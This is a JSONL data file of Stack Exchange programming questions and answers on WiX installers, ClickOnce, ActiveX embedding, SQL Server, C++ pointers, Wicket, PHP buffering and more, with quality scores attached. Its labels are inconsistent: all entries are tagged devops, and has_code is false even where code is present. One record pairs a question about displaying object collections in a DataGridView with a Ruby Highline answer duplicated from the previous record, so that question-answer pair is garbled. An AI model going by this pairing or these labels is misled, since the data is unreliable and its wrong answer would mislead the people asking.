{"id": "hf_a43c17cddd57", "question": "<p>I have an installer that deploys web services to IIS.  After this has finshed a custom action fires that updates the database with the scripts required by the webservices.  The scripts are currently deploying to IIS aswell because they are part of the .net project.  How can I configure the installation process so the scripts arn't part of the project and get un-packed from the MSI so my custom action can access them?</p>\n", "question_body": "", "answer": "Using WIX, sorry no clue as to what you are using.  I would create a\n```\n```\n<Binary Id=\"webServiceScript.sql\" src=\"[DirectoryToFile]\\webServiceDataScript.sql\" />\n```\n```\nAfter setup a CA to run the script\n```\n```\n<CustomAction Id=\"CallCmd\" Value=\"[Path_to_Exe_Folder][Your_EXE_TO_RUN_SCRIPT_HERE]\" />\n\n<CustomAction Id=\"RunCmd\" ExeCommand=\"webServiceScript.sql\" BinaryKey=\"webServiceScript.sql\" Return=\"Ignore\" />\n```\n```\nThen just Setup the Installation Sequence\n```\n```\n<InstallExecuteSequence>\n  <Custom Action=\"CallCmd\" Before=\"InstallFinalize\" />\n  <Custom Action=\"RunCmd\" After=\"CallCmd\" />\n</InstallExecuteSequence>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:58.985946"}
{"id": "hf_3501ed6dcf43", "question": "<p>I have a ClickOnce environment like this:</p>\n<p><code>\\\\Fileserver\\ClickOnceApps\\App1.application</code></p>\n<p><code>C:\\Documents and Settings\\user\\Start Menu\\Programs\\publisher\\app1.appref-ms</code></p>\n<p>My understanding is the .apppref-ms file is a glorified link to the app.application file. Does it do anything else?</p>\n", "question_body": "", "answer": "If you open the appref-ms file in a text editor you'll see it contains the Url for the application, culture, processor architecture and key used to sign the application, so yes, it's just a link.\nThe difference between those \"Application Reference\" files and shortcuts (.lnk) is that the application reference points to the original application Url and not the location of the exe on disk, when you run the appref-ms file the system knows how to find the copy of the program on the local disk and run it from there without accessing the Url (this is not accurate and depends on settings in the ClickOnce manifest, but its a close approximation).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.009142"}
{"id": "hf_ef0a3490e872", "question": "<p>I have to add either an embed tag for Firefox or an object tag for Internet Explorer with JavaScript to address the appropriate ActiveX / Plugin depending on the browser. The plugin could be missing and needs to get downloaded in this case. The dynamically added embed tag for Firefox works as expected. The dynamically added object tag for Internet Explorer seems to do nothing at all. The object tag needs the following attributes to function properly.</p>\n\n<p><code>id =\"SomeId\"\nclassid = \"CLSID:{GUID}\"\ncodebase = \"http://www.MyActicexSource.com/MyCuteActivex.CAB#Version=2,0,0,1\"</code></p>\n\n<p>Even a general working idea or method would be nice.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I needed to do this same thing and simply place all of the HTML needed for the OBJECT tag in a string in JavaScript and simply replace the innerHTML of a div tag with the OBJECT HTML and it works in IE just fine.\n```\n```\n// something akin to this:\ndocument.getElementById(myDivId).innerHTML = \"<OBJECT id='foo' classid='CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95'.....etc\";\n```\n```\nThat should work, it does just fine for me - I use it to embed Windows Media Player in a page.\nUPDATE: You would run the above code after the page loads via an event handler that either runs on the page's load event or maybe in response to a user's click. The only thing you need to do is have an empty DIV tag or some other type of tag that would allow us to inject the HTML code via that element's\n```\ninnerHTML\n```\nproperty.\nUPDATE: Apparently you need more help than I thought you needed? Maybe this will help:\nHave your BODY tag look like this:\n```\n<body onload=\"loadAppropriatePlugin()\">\n```\nHave somewhere in your page, where you want this thing to load, an empty DIV tag with an\n```\nid\n```\nattribute of something like \"Foo\" or whatever.\nHave code like this in a\n```\n<script>\n```\ntag in your\n```\n<head>\n```\nsection:\n```\n```\nfunction getIEVersion() { // or something like this\n   var ua = window.navigator.userAgent;\n   var msie = ua.indexOf(\"MSIE \");\n   return ((msie > 0) ? parseInt(ua.substring(msie+5, ua.indexOf(\".\", msie))) : 0);\n}\n\nfunction loadAppropriatePlugin() {\n    if(getIEVersion() != 0) { // this means we are in IE\n        document.getElementById(\"Foo\").innerHTML = \"<OBJECT id='foo' classid='CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95'.....etc\";\n    } else {\n        // if you want to maybe do the same for FF and load that stuff...\n    }\n}\n```\n```\nDoes that help?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.055366"}
{"id": "hf_da5d749e3a79", "question": "<p>How do I remove empty elements from an array in JavaScript? </p>\n\n<p>Is there a straightforward way, or do I need to loop through it and remove them manually?</p>\n", "question_body": "", "answer": "Try this.  Pass it your array and it will return with empty elements removed.  *Updated to address the bug pointed out by Jason\n```\n```\nfunction removeEmptyElem(ary) {\n    for (var i = ary.length - 1; i >= 0; i--) {\n        if (ary[i] == undefined)  {\n            ary.splice(i, 1);\n        }       \n    }\n    return ary;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.125590"}
{"id": "hf_c4e3c96452f2", "question": "<p>I am attempting to insert a copy of a row from one table into another table with the same schema, with the addition of one column (a timestamp) to provide a \"history\" of the first table in MS Sql Server 2005.</p>\n\n<p>So, my query, without the additional column would be:</p>\n\n<pre><code>\"SELECT INTO [WebsiteHistory] FROM [Website]\"\n</code></pre>\n\n<p>I want to populate the timestamp column as well, but am not sure how to best do this. I'd like to do something like:</p>\n\n<pre><code>\"SELECT Website.*, '\" + DateTime.Now.ToShortDateString() + \"' INTO [WebsiteHistory] FROM [Website]\"\n</code></pre>\n\n<p>But that shouldn't work, especially if the timestamp column is not the last one. Is there any way to do this?</p>\n", "question_body": "", "answer": "Be warned. This works, but it is neither\nnice\nnor recommendable:\n```\n```\nINSERT\n  WebsiteHistory\nSELECT\n  *,\n  GETDATE()\nFROM\n  Website\nWHERE\n  Id = @WebsiteId\n```\n```\nThis assumes\n```\nWebsiteHistory\n```\nhas the same structure as\n```\nWebsite\n```\n(you said it has), plus there is one additional\n```\nDATETIME\n```\nfield.\nBetter is this, because it is much more fail-safe (at the expense of being more verbose):\n```\n```\nINSERT\n  WebsiteHistory\n  (\n  Id,\n  Field1,\n  Field2,\n  Field3,\n  Field4,\n  ModifiedDate\n  )\nSELECT\n  Id,\n  Field1,\n  Field2,\n  Field3,\n  Field4,\n  GETDATE()\nFROM\n  Website\nWHERE\n  Id = @WebsiteId\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.215352"}
{"id": "hf_0a9e6f67ccff", "question": "<p>So for the second day in a row, someone has wiped out an entire table of data as opposed to the one row they were trying to delete because they didn't have the qualified where clause.</p>\n\n<p>I've been all up and down the mgmt studio options, but can't find a confirm option.  I know other tools for other databases have it.</p>\n", "question_body": "", "answer": "Try using a\n```\nBEGIN TRANSACTION\n```\nbefore you run your\n```\nDELETE\n```\nstatement.\nThen you can choose to\n```\nCOMMIT\n```\nor\n```\nROLLBACK\n```\nsame.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.249741"}
{"id": "hf_43b368661d87", "question": "<p>Our windows deliverable has different sets of config files and binary assets for different customers.  Right now the configuring is done by hand before packaging and its error prone.  What do you think of using branches for each customer, and having the package build/script automerge the customer's branch with trunk?</p>\n\n<p>I'm less concerned with scalability than I am of getting this automated ASAP.</p>\n\n<p>The entire packag contents is in SVN, but SVN branching and merging is so delicate that I don't trust it to work consistently when its automated.  If you guys like the idea I might try to use git-svn for this, because it will hopefully make merging less delicate.  We don't necessarily have to merge the assets, because they are organized so the installer can just skip inappropriate directory trees, but configuration is not so simple.</p>\n", "question_body": "", "answer": "I suppose it depends on how many things have to change. For config files, I like to keep a single file under source control and use a build script to set the environment-specific (or in your case client-specific) items.\nhttp://automaticchainsaw.blogspot.com/2008/02/automate-config-changes-for-different.html\nFor binaries, it probably has more to do with how many of them you have and where they come from.  If they are part of a code compile, then the compilation process ideally would create what you need.  If they are other resources, such as graphics, perhaps you have a customer-specific set of folders under one directory.  The build script would pull in the correct client folder based on a parameter passed to the script.  This is basically the branch and merge idea you mentioned in your question.\nRegarding your later comment about multi-line config changes - assuming it is xml, you might look at the XmlMassUpdate class in the MSBuild Community Tasks.  I've not used it myself, but it looks like it might be what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.284940"}
{"id": "hf_f47de5ea34ff", "question": "<p>I am using WinCVS as client and CVSNT as my source control server. Some of the files I wanted to add to my CVS repo, were added as Unicode files. Now, I want to recommit the same as ANSI (aka ASCII) files. However, despite deleting the old files from the repo, every time I add the file with the same  name, it automatically assigns Unicode encoding to the file. </p>\n\n<p>Is there a way out? Or in other words, can I change the encoding of a file, once it is added to CVS?</p>\n", "question_body": "", "answer": "Firstly, I'd recommend using\nTortoiseCVS\nas it has better\n```\nCVSNT\n```\nsupport.  Whie\n```\nCVS\n```\nand\n```\nCVSNT\n```\nare very similar,\n```\nCVSNT\n```\nis\nnot\n```\nCVS\n```\n.\nTortoiseCVS\n```\nAdd\n```\ndialog will show the file types as it guesses they are and you can override the filetype there.\nFor the existing situation, assuming that you don't want to keep the history of the Unicode files, you may try the following.\nOK, first the warning:\nTHOU SHALT NOT EDIT THE CVS REPOSITORY BY HAND (unless thou art truly desperate)\nNow for the instructions to break said rule, at your own risk.\nMake a backup of your CVSNT repository directory (simple ZIP file will do)\nOn the client, ensure that the Unicode files are actually deleted locally and in the repository.\nIn the CVSNT repository directory:\nFind the module directory where you originally added the files\nFind the\n```\nAttic\n```\ndirectory\nDelete the files and any\n```\n,v\n```\nextensions of them.\nOn the client:\nVerify that the files have ANSI encoding (plain ol' text files)\n```\ncvs add\n```\nthe files again", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.342976"}
{"id": "hf_b94d47d97f2a", "question": "<p>If I have the following code,</p>\n\n<pre><code>Foo *f = new Foo();\nvector&lt;Foo*&gt; vect;\nvect.push_back(f);\n// do stuff\nvect.erase(f);\n</code></pre>\n\n<p>Did I create a memory leak? \nI guess so, but the word <em>erase</em> gives the feeling that it is deleting it. </p>\n\n<p>Writing this, I am wondering if it is not a mistake to put a pointer in a STL vector. What do you think?</p>\n", "question_body": "", "answer": "Yes, you created a memory leak by that. std::vector and other containers will just remove the pointer, they won't free the memory the pointer points to.\nIt's not unusual to put a pointer into a standard library container. The problem, however, is that you have to keep track of deleting it when removing it from the container. A better, yet simple, way to do the above, is to use boost::shared_ptr:\n```\n```\n{ \n    boost::shared_ptr<foo> f(new foo);\n\n    std::vector< boost::shared_ptr<foo> > v;\n    v.push_back(f);\n    v.erase(v.begin());\n} /* if the last copy of foo goes out of scope, the memory is automatically freed */\n```\n```\nThe next C++ standard (called C++1x and C++0x commonly) will include\n```\nstd::shared_ptr\n```\n. There, you will also be able to use\n```\nstd::unique_ptr<T>\n```\nwhich is faster, as it doesn't allow copying. Using\n```\nstd::unique_ptr\n```\nwith containers in c++0x is similar to the\n```\nptr_container\n```\nlibrary in boost.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.366666"}
{"id": "hf_ad9759f2c59a", "question": "<p>As the title suggests, I am having trouble maintaining my code on postback. I have a bunch of jQuery code in the Head section and this works fine until a postback occurs after which it ceases to function! </p>\n\n<p>How can I fix this? Does the head not get read on postback, and is there a way in which I can force this to happen? </p>\n\n<p>JavaScript is:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code>        &lt;script type=\"text/javascript\"&gt;\n        $(document).ready(function()\n        {\n            $('.tablesorter tbody tr').tablesorter();\n\n        $('.tablesearch tbody tr').quicksearch({\n            position: 'before',\n            attached: 'table.tablesearch',\n            stripeRowClass: ['odd', 'even'],\n            labelText: 'Search:',\n            delay: 100\n        });\n       }); \n        &lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "If you just have that code hard coded into your page's head then a post back won't affect it. I would check the following by debugging (FireBug in FireFox is a good debugger):\nVerify the script is still in the head on postback.\nverify that the css classes are in fact attached to some element in the page.\nverify that the jquery code is executing after the browser is done loading on post back.\nEDIT: Are you using UpdatePanels for your post back? In other words is this an asynchronous postback or a normal full page refresh?\nEDIT EDIT:  AHhhhh... Ok. So if you're using UpdatePanels then the document's ready state is already in the ready so that portion of jquery code won't be fired again. I would extract the jquery delegate out to a separate function that you can also call after the async postback.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.424579"}
{"id": "hf_df8aa2ceef76", "question": "<p>I am implementing long running processes that require to a process bar - or progress percentage - to be displayed. The overall logic of the long running process is complex (various paged data retrieval), and as a result, I end up hardcoding lots of percentages in various places within the code.</p>\n\n<p>What are considered as the best design patterns when it comes to update a completion percentage?</p>\n", "question_body": "", "answer": "If you know in advance the 'length' of the task you're going to perform, and have a way of knowing how far along you are, you should let the bar determine the percentage. For example, if you have to process a known number of files, give this number to the progress bar on construction. Then, during the process either the bar can poll the process, or the process can tell the bar how far along it is (in number of files). The bar can compute the percentage from these two values. This is how the\nstandard progress bar in Java\nworks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.470785"}
{"id": "hf_a5c5a02e8667", "question": "<p>I have a SSRS 2005 report that has a number of images in it.  The way that I have the images included is I have an image object with the URL set in the value property.  The actual images are hosted by an IIS virtual directory on the same server.   I'm doing it this way because I need to dynamically change the image source using an expression depending on the data within the report. </p>\n\n<p>The problem is that the images work great when previewing the report in Visual Studio but do not display when the report is deployed. When I look at the HTML rendered by SSRS the SRC attribute of the image tag is an empty string.</p>\n", "question_body": "", "answer": "I have had this problem before.\nYou should check to see if you have any warnings being thrown when you deploy the reports. A rsWarningFetchingExternalImages warning means that reporting services is having problems anonymously accessing the images.  This could be because anonymous access is not properly configured in IIS or, as in my case, you could possibly have a problem with the MIME type for the image you're hosting. I was trying to host PNG files and it worked when I changed the images to GIFs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.509523"}
{"id": "hf_acc857175d27", "question": "<pre>\ncreate table person\n(\n    name varchar(15),\n    attr1 varchar(15),\n    attr2 varchar(1),\n    attr3 char(1),\n    attr4 int\n)\n</pre>\n\n<p>How I can use basic ORM in Perl by taking a simple table like the one above and mapping it to Perl objects?  Next I'd like to perform basic operations like select results using some criteria system Perl like syntax. eg.:</p>\n\n<pre><code>@myResults = findAll(attr1 == 3 &amp;&amp; attr2 =~ /abc/);\n</code></pre>\n", "question_body": "", "answer": "Rule #1, don't write your own.\nThere are quite a number of ORMs on CPAN, including ...\nDBIx::Class\n- probably #1 in popularity at the moment\nRose::DB::Object\nFey::ORM\n- my own contribution, most notable for being\nMoose\n-based, which means you get all the power of Moose in your ORM-based classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.545954"}
{"id": "hf_59a4dddf939d", "question": "<p>I need to convert several Java classes to C#, but I have faced few problems.</p>\n\n<p>In Java I have following class hierarchy:</p>\n\n<pre><code>public abstract class AbstractObject {\n    public String getId() {\n        return id;\n    } \n}\n\npublic class ConcreteObject extends AbstractObject {\n    public void setId(String id) {\n        this.id= id;\n    }\n}\n</code></pre>\n\n<p>There are implementation of AbstractObject which do not need to have setId() defined, so I cannot move it up in the hierarchy.</p>\n\n<p>How to convert this to C# using properties? Is that possible?</p>\n", "question_body": "", "answer": "When you supply only the\n```\nget\n```\nportion of a property in .Net, you are explicitly telling the compiler that this property is read-only.  It's a bigger deal than just not providing a\n```\nset\n```\n.  This is evident in the vb version of the property syntax, where you must also explicitly declare the property is ReadOnly.\nWhat you might be able to do is provide both a getter and a setter, but throw a\n```\nNotImplementedException\n```\nin the abstract setter, decorate it with the appropriate attributes and document so that no one uses it unless the setter has been property overridden.  Otherwise, you're probably better off keeping these as methods anyway, to avoid a disconnect between Java and .Net versions of the code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.582409"}
{"id": "hf_167f896df6fa", "question": "<p>A Wicket application serializes and caches all pages to support stateful components, as well as for supporting the back button, among other possible reasons. I have an application which uses setResponsePage to navigate from screen to screen. Over a pretty short amount of time the session gets rather large because all of the prior pages are stored in the session. For the most part, I only need the session to contain the current page, for obvious reasons, and perhaps the last 2 or 3 pages to allow easy navigation using the browser's back button.</p>\n\n<p>Can I force a page to expire after I have navigated away from it and I know that I don't want to use to back button to that version of the page? More generally what is the recommended way to deal with session growth in Wicket?</p>\n", "question_body": "", "answer": "http://apache-wicket.1842946.n4.nabble.com/Wicket-Session-grows-too-big-real-fast-td1875816.html\nIf you use loads of domain objects on your page, which are eventually tightly coupled to other domain objects, be sure to avoid serialization for these!\nHave a look at \nLoadableDetachableModel for wrapping domaing objects\nDataView and IDataProvider for displaying list of domain objects\nThou shalt not stuff domain objects into instance variables of components.\nThou shalt not make domain object references final in order to use them in anonymous subclasses.\nThou shalt not pass a mere List of domain objects to a ListView.\nPerhaps, when subclassing WbeRequestCycle in your Application class, you might gain control of a page's lifetime in the pagemap... haven't tried it, though", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.629077"}
{"id": "hf_a3cda3bffe05", "question": "<p>I currently have Apache HTTP Server, but I'm guessing I'll need Tomcat (and then have to configure it in a way that makes it not open to the public), a Java JDK (which I already have, but should probably update), and an IDE (I have Eclipse). But what else should I have or know before starting?</p>\n", "question_body": "", "answer": "I would go for maven.\nIt will give you a quick start in configuring your project (by using archetypes) and it will manage your dependencies.\nInstall it and run the archetype command to create your project.\n```\n```\nmvn archetype:create -DgroupId=com.mycompany.app -DartifactId=my-webapp -DarchetypeArtifactId=maven-archetype-webapp\n```\n```\nAfter that just use the maven eclipse plugin to configure your eclipse environment for that project (\nhttp://maven.apache.org/plugins/maven-eclipse-plugin/\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.663942"}
{"id": "hf_a4c323863cea", "question": "<p>Most of my PHP apps have an ob_start at the beginning, runs through all the code, and then outputs the content, sometimes with some modifications, after everything is done.</p>\n\n<pre><code>ob_start()\n//Business Logic, etc\nheader-&gt;output();\necho apply_post_filter(ob_get_clean());\nfooter-&gt;output();\n</code></pre>\n\n<p>This ensures that PHP errors get displayed within the content part of the website, and that errors don't interfere with <code>header</code> and <code>session_*</code> calls.</p>\n\n<p>My only problem is that with some large pages PHP runs out of memory. How do I stop this from happening?</p>\n\n<p>Some ideas:</p>\n\n<ol>\n<li>Write all of the buffered content to a temporary file and output that.</li>\n<li>When the buffers reaches a certain size, output it. Although this might interfere with the post filter.</li>\n<li>Raise the memory limit (thanx @troelskn).</li>\n</ol>\n\n<p>Whats the drawbacks on each of these approaches? Especially raising the memory limit?</p>\n", "question_body": "", "answer": "Can't you raise the memory limit? Sounds like the best solution to me.\nEdit: Obviously, raising the memory limit just because a script tops out should raise some red flags, but it sounds to me like this is a legitimate case - eg. the script is actually producing rather large chunks of output. As such, you have to store the output\nsomewhere\n, and memory seems to be the best pick, for both performance and convenience reasons.\nI should note also that the memory limit setting is just that - a limit. Scripts that don't consume much memory, won't consume more just because you raise the limit. The main reason for its existence, is to prevent misbehaving/buggy scripts from taking down the entire server. This is something that is important if you have a lot of amateurs hacking away on a shared host (Something PHP has been used a lot for). So if this is your own server, or at least you generally know what you're doing, there isn't really any benefit from having a low memory-limit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.784114"}
{"id": "hf_ec9b988ea425", "question": "<p>I have the very same delphi version, bpls, components, everything. And yet in three machines the resulting executables are different in size.\nWhat else can influence in the size of the exe?</p>\n\n<p>In my machine I get this size (Vista 6.0.6001):</p>\n\n<pre><code>4.547.584 bytes\n</code></pre>\n\n<p>In my colleague's machine, he gets (XP 5.1.2600 SP3):</p>\n\n<pre><code>4.530.688 bytes\n</code></pre>\n\n<p>In a third colleage, he gets: (XP 5.1.2600 SP2)</p>\n\n<pre><code>4.527.104 bytes\n</code></pre>\n\n<p>Does the OS version influence in the compiled exe size?</p>\n", "question_body": "", "answer": "With Delphi/BCB these are a few factors that can influence size:\nYour Build Configuration\n: Release Mode does not link in the debug section into the EXE (by default) so is smaller. also you may get a boost from code optimization.\nLinking with Dynamic RTL\n: If enabled you EXE will be smaller but you will require the external libraries to be available.\nBuilding with Runtime Packages\n: If enabled, you dynamically link to the runtime packages you use instead of linking them directly into your EXE. This can result in the largest size differences.\nTheir are other factors but the above tends to be the main ones I come across.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.831117"}
{"id": "hf_d0da4964ee8a", "question": "<p>As I use the web, I regularly get runtime errors (usually javascript) being reported via popups. This can make for a really unsatisfying user experience on many otherwise excellent websites and also makes me wonder what functionality I am not getting access to.</p>\n\n<p>Why is this such a common issue? Is this down to a lack of testing or is it browser compatibility issues? What can be done to minimise this kind of issue?</p>\n\n<p>Incidently I don't have the 'Display a notification about every script error' checked.</p>\n", "question_body": "", "answer": "It's easy to make mistakes in JavaScript. Until recently with Aptana, there weren't many good tools for coding JavaScript. Not have the benefit of syntax checking or compilation, small typing error can make it into pages. Beyond that, there are time where code that works fine in one browser will cause an error in another. For example, I saw a jQuery plugin that didn't work in IE, but it was fine in every other browser. It turned out to be a variable declared without the 'var' keyword. Firefox and Safari were OK with that, IE wasn't, so it's possible that whoever wrote the code didn't even know it was a problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.889172"}
{"id": "hf_e0837f056110", "question": "<p>I'm trying to do Ruby password input with the <a href=\"http://highline.rubyforge.org/\" rel=\"noreferrer\">Highline gem</a> and since I have the user input the password twice, I'd like to eliminate the duplication on the blocks I'm passing in. For example, a simple version of what I'm doing right now is:</p>\n\n<pre><code>new_pass = ask(\"Enter your new password: \") { |prompt| prompt.echo = false }\nverify_pass = ask(\"Enter again to verify: \") { |prompt| prompt.echo = false }\n</code></pre>\n\n<p>And what I'd like to change it to is something like this:</p>\n\n<pre><code>foo = Proc.new { |prompt| prompt.echo = false }\nnew_pass = ask(\"Enter your new password: \") foo\nverify_pass = ask(\"Enter again to verify: \") foo\n</code></pre>\n\n<p>Which unfortunately doesn't work. What's the correct way to do this?</p>\n", "question_body": "", "answer": "I don't think the language supports a construct like this. The only way I can see to generalize this in any way is:\n```\n```\ndef foo(prompt)\n  prompt.echo = false\nend\nnew_pass = ask(\"Enter your new password: \") { |prompt| foo(prompt) }\nverify_pass = ask(\"Enter again to verify: \") { |prompt| foo(prompt) }\n```\n```\nIt doesn't really shorten the code, though it does remove some duplication--if you wanted to do more than set\n```\nprompt.echo\n```\nto\n```\nfalse\n```\n, you'd only have to add code in one place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.912313"}
{"id": "hf_993e82ba63ed", "question": "<p>Using an ORM approach in applications can often lead to the scenario where you have a collection of objects you've retrieved and would like to display them in a tabular view using a DataGridView.</p>\n\n<p>In my (limited) experience, binding collections of objects using a custom BindingList to a DataGridView results in poor performance and unsatisfactory sorting.  I'm looking for a generic solution to this problem such that it's straightforward to populate a DataGridView and also extract the underlying objects later.</p>\n\n<p>I will describe a good solution I've found, but I'm looking for alternatives.</p>\n", "question_body": "", "answer": "I don't think the language supports a construct like this. The only way I can see to generalize this in any way is:\n```\n```\ndef foo(prompt)\n  prompt.echo = false\nend\nnew_pass = ask(\"Enter your new password: \") { |prompt| foo(prompt) }\nverify_pass = ask(\"Enter again to verify: \") { |prompt| foo(prompt) }\n```\n```\nIt doesn't really shorten the code, though it does remove some duplication--if you wanted to do more than set\n```\nprompt.echo\n```\nto\n```\nfalse\n```\n, you'd only have to add code in one place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.935100"}
{"id": "hf_7c9fa4f64aed", "question": "<p>I want to make custom control which has couple of <code>&lt;input type='checkbox' /&gt;</code> controls which I render in Render method.\nIs it possible to retain ViewState (e.g. checked or not) on these Controls? </p>\n\n<p>There is a way of doing this by using ASP.NET server CheckBox control, \nadding them in OnLoad event with this.Controls.Add(),\nand giving them same Ids everytime, \nbut I don't wat to do this :)</p>\n", "question_body": "", "answer": "You can just access the ViewState directly:\n```\n```\nbool checked = (bool)(ViewState[\"ThisControlCheckState\"] ?? false);\nif (checked) {\n    write(\"<input ... >\");\n}\nelse {\n    write(\"<input ... >\");\n}\n```\n```\nTo save the value form the user, you could do something like this in the PostBack:\n```\n```\nViewState[\"ThisControlCheckState\"] = request.Params[\"checkboxName\"].ToString() == \"1\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.957935"}
{"id": "hf_2861eaf09d5c", "question": "<p>What are the actual performance differences between Int64 and Int32 on 32 and 64 bit MS Windows?</p>\n\n<p>It would also be great to see some actual timings of Int64 vs Int32 on each of the two operating system variants.  XP or Vista would also be interesting.</p>\n\n<ul>\n<li>See also this question about <a href=\"https://stackoverflow.com/questions/269408/memcpy-performance-differences-between-32-and-64-bit-processes\">memcpy</a> performance.</li>\n</ul>\n", "question_body": "", "answer": "As far as hardware, Int64 will be more efficient on an x64 and IA64 than x86 because the 64-Bit processors have 64-Bit registers to perform the operations on them.\nInt32 will be equally as efficient on all x86, x64, and IA64.\nOn an x64 and on an IA64 both Int32 and Int64 are equally as efficient.\nOn an x86 Int32 will be more efficient than an Int64.\nAs far as the OS itself, I don't think you will see any extra performance issues than the performance results mentioned above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:59.980811"}
